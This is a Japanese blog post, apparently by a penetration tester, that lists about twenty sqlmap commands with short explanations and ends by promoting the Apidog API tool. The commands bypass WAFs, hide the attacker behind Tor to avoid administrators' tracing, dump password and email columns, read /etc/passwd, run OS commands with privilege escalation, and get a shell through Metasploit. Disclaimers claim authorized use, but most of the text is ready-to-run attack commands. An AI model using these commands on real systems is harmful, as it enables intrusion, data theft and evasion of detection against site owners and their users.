こんにちは、tanakashinichiです。最近、あるプロジェクトでSQLインジェクションの脆弱性を発見して「マジかよ...2025年なのに!」と驚いた経験から、今回は SQLMap の実践的な使い方をシェアしたいと思います。
SQLインジェクションって、正直なところ「過去の脆弱性」だと思っていませんか?私もそう思っていましたが、OWASPの調査によると依然としてWebアプリの脆弱性トップ10に入っているんですよね。特に最近のAPIベースのシステムでは、新たな形で復活しているケースも...
今回は私が実際に使っている SQLMapの上級テクニック20選 を紹介します。もちろん、すべて許可された環境でのテスト用ですからね!不正アクセスには絶対に使わないでください。
1. 探査・回避テクニック集
「これだけでWAFが突破できた...」レベル別ペイロード探査
sqlmap -u "http://site.com?id=1" --level=5 --risk=3
-
--level=5
:CookieやX-Forwarded-Forを含む深度調査 -
--risk=3
:スタッククエリなど高リスク手法を有効化
最初に試すべきは基本的なオプションの強化です。--level=5
を指定すると、通常のGETパラメータだけでなく、Cookie、User-Agent、Referer、X-Forwarded-Forなどのヘッダーまで調査対象になります。
私の経験では、多くの開発者はGETパラメータだけを保護して、ヘッダー経由の注入を見落としがちです。特にレガシーシステムの改修時には要注意ですよ!
「チャンク送信」でWAFをバイパス
sqlmap -u "http://site.com?id=1" --chunked
これは本当に便利なテクニックです。多くのWAFはHTTPリクエストの全体を見てからフィルタリングしますが、--chunked
オプションを使うと、リクエストを小さな断片に分けて送信するので、WAFの検知をすり抜けられることがあります。
先日のプロジェクトでも、某有名WAFを導入していたサイトで、このオプションだけでバイパスできてしまいました。もちろん、すぐにクライアントに報告して修正してもらいましたけどね!
疑似静的URLでの注入パターン
sqlmap -u "http://site.com/article/123*.html" --prefix="')" --suffix="-- -"
最近のサイトは疑似静的URLが多いですよね。そういったURLでも--prefix
と--suffix
を使えば、SQLインジェクションのテストができます。
多段プロキシチェーン匿名スキャン
sqlmap -u "http://site.com?id=1" --proxy="socks5://127.0.0.1:9050"
私の実務経験では、Torネットワークやプロキシプールを活用して実際のIPアドレスを隠蔽することが非常に効果的です。このテクニックを使えば、調査対象のシステム管理者からの追跡を回避しながら、セキュリティ評価を実施できます。特に法的許可を得た侵入テストでも、匿名性を保つことでより現実的な攻撃シナリオをシミュレートできるんですよ。
WAF指紋識別と自動バイパス
sqlmap -u "http://site.com?id=1" --identify-waf --tamper="apostrophemask,between"
実際のプロジェクトでは、まずWAFの種類を特定することが重要です。--identify-waf
オプションを使えば、CloudflareやModSecurityなどの主要WAFを自動検出できます。さらに--tamper
スクリプトを組み合わせることで、検出されたWAFに対する回避策を自動適用できるんです。私はいつも複数のtamperスクリプトをカンマ区切りで指定して、成功率を高めています。
疑似トラフィック混乱技術
sqlmap -u "http://site.com?id=1" --null-connection --invalid-bignum
-
--null-connection
:レスポンス長のみ取得 -
--invalid-bignum
:異常数値化による単純WAF回避
攻撃検知システムを混乱させるテクニックもいくつか持っています。
これらのオプションを組み合わせると、より高度な防御システムでも検知を難しくできるんですよ。
社内のセキュリティテストでも、時々「どこからアクセスしているか」をログから特定できないようにしたいケースがあります。そんな時はTorネットワークを経由させると良いでしょう。
2. データ抽出の効率化テクニック
バイナリデータの安全な抽出
sqlmap -u "http://site.com?id=1" --dump -T users -C password --hex
パスワードハッシュなどのバイナリデータを抽出する際は、--hex
オプションを使うと安全です。これを知らずに文字化けしたデータで悩んだ日々が懐かしいです...
大規模DBからの効率的な抽出
sqlmap -u "http://site.com?id=1" --dump -D dbname --start=1000 --stop=2000
大きなデータベースを扱う時は、全レコードを一度に抽出しようとせず、--start
と--stop
で範囲を指定すると効率的です。テスト環境でも、不要なサーバー負荷を避けるためにこの方法を使っています。
Gmailユーザーだけを抽出する方法
sqlmap -u "http://site.com?id=1" -D db -T users -C email --regex=".*@gmail\.com"
正規表現を使えば、特定のパターンに一致するデータだけを抽出できます。例えば、Gmailユーザーだけを抽出したい場合などに便利です。
時間ベース盲注の調整
sqlmap -u "http://site.com?id=1" --time-sec=15 --technique=T
時間ベースの盲目的SQLインジェクションは、サーバーの応答時間に依存するため、環境によって調整が必要です。--time-sec
で待機時間を調整し、--technique=T
で時間ベースの攻撃に特化させることができます。
自動レポート生成機能
sqlmap -u "http://site.com?id=1" --dump --output-dir=/reports --report=report.html
上司や同僚に報告する際に便利なのが、HTMLレポート機能です。--report
オプションを使えば、見やすいレポートが自動生成されます。私はこれで何度も上司を感心させました(笑)
3. システム操作と権限昇格テクニック
OSコマンド実行の検証
sqlmap -u "http://site.com?id=1" --os-cmd="whoami" --priv-esc
SQLインジェクションの危険性を示すのに最適なのが、OSコマンド実行です。--os-cmd
でコマンドを実行し、--priv-esc
で権限昇格の可能性もチェックできます。
重要ファイルの読み取りテスト
sqlmap -u "http://site.com?id=1" --file-read="/etc/passwd"
ファイル読み取り機能を使えば、サーバー上の重要なファイルにアクセスできるかをテストできます。これが成功すると、本当に怖いですよね...
UDF注入による権限拡張
sqlmap -u "http://site.com?id=1" --udf-inject --shared-lib="/tmp/lib.so"
MySQLやPostgreSQLなどでは、UDF(ユーザー定義関数)を注入することで、データベースの権限を拡張できることがあります。これはかなり高度なテクニックですが、知っておくと役立つことがあります。
Metasploitとの連携
sqlmap -u "http://site.com?id=1" --os-pwn --msf-path=/opt/metasploit
本格的なペネトレーションテストでは、SQLMapとMetasploitを連携させることもあります。--os-pwn
オプションを使えば、SQLインジェクションからシェルを取得するところまで自動化できます。
4. 最新API環境での活用テクニック
最近のWebアプリケーションは、ほとんどがAPIベースになっていますよね。SQLMapはそういった環境でも活用できます。
CSRFトークン対応のテスト
sqlmap -u "http://site.com/form" --csrf-token="token" --csrf-url="http://site.com/get_token"
最近のアプリはCSRFトークンを使っていることが多いですが、SQLMapはこれにも対応しています。--csrf-token
と--csrf-url
を指定すれば、トークンを自動的に取得して使ってくれます。
JSON APIのテスト方法
sqlmap -u "http://site.com/api" --data='{"id":1}' --headers="Content-Type: application/json"
REST APIなどのJSONリクエストに対しても、--data
オプションでJSONを指定し、適切なヘッダーを設定すればテストできます。最近のプロジェクトでは、こちらのパターンが多いですね。
HTTPパラメータ汚染の検証
sqlmap -u "http://site.com?id=1&id=2" --param-del="&"
HTTPパラメータ汚染(HPP)は、同じパラメータを複数回指定することで発生する脆弱性です。--param-del
オプションを使えば、このパターンもテストできます。
二次インジェクションの検出
sqlmap -u "http://site.com/register" --forms --second-url="http://site.com/profile"
二次SQLインジェクションは、一度データベースに保存されたデータが、別のページで取り出される際に発生する脆弱性です。--second-url
オプションを使えば、このパターンもテストできます。
マルチスレッドでの高速化
sqlmap -u "http://site.com?id=1" --threads=5 --optimize
大規模なテストでは、--threads
オプションでマルチスレッド化し、--optimize
で最適化することで、テスト時間を大幅に短縮できます。ただし、サーバーに負荷がかかるので注意が必要です。
合法的な利用と防御的アプローチ
ここまで紹介したテクニックは、すべて許可された環境でのセキュリティテストのためのものです。無断でのテストは法律違反になる可能性があるので、絶対にやめましょう。
実は私、日常の開発では「攻撃ツール」よりも「防御ツール」を使うことが多いんです。特に Apidog というツールは、APIのセキュリティテストにも使えて便利です。
Apidogの良いところは:
- 直感的なGUIでのAPIテスト:SQLMapのコマンドラインが苦手な人でも簡単に使えます
- 自動セキュリティチェック機能:基本的なSQLインジェクションやXSSなどを自動でチェックしてくれます
- チーム共有とドキュメント化:テスト結果を簡単に共有できるので、チーム開発に最適です
まとめ:両面からのアプローチが最強
私が実務で学んだのは、「攻撃者の視点」と「防御者の視点」の両方を持つことの重要性です。SQLMapのような攻撃ツールの仕組みを理解することで、より効果的な防御策を講じることができます。
両方のツールを使いこなせるようになれば、セキュリティテストの幅が大きく広がりますよ!
最後に、セキュリティテストは「破壊」ではなく「構築」のためのものだということを忘れないでください。発見した脆弱性は責任を持って報告し、より安全なWebの実現に貢献しましょう。
参考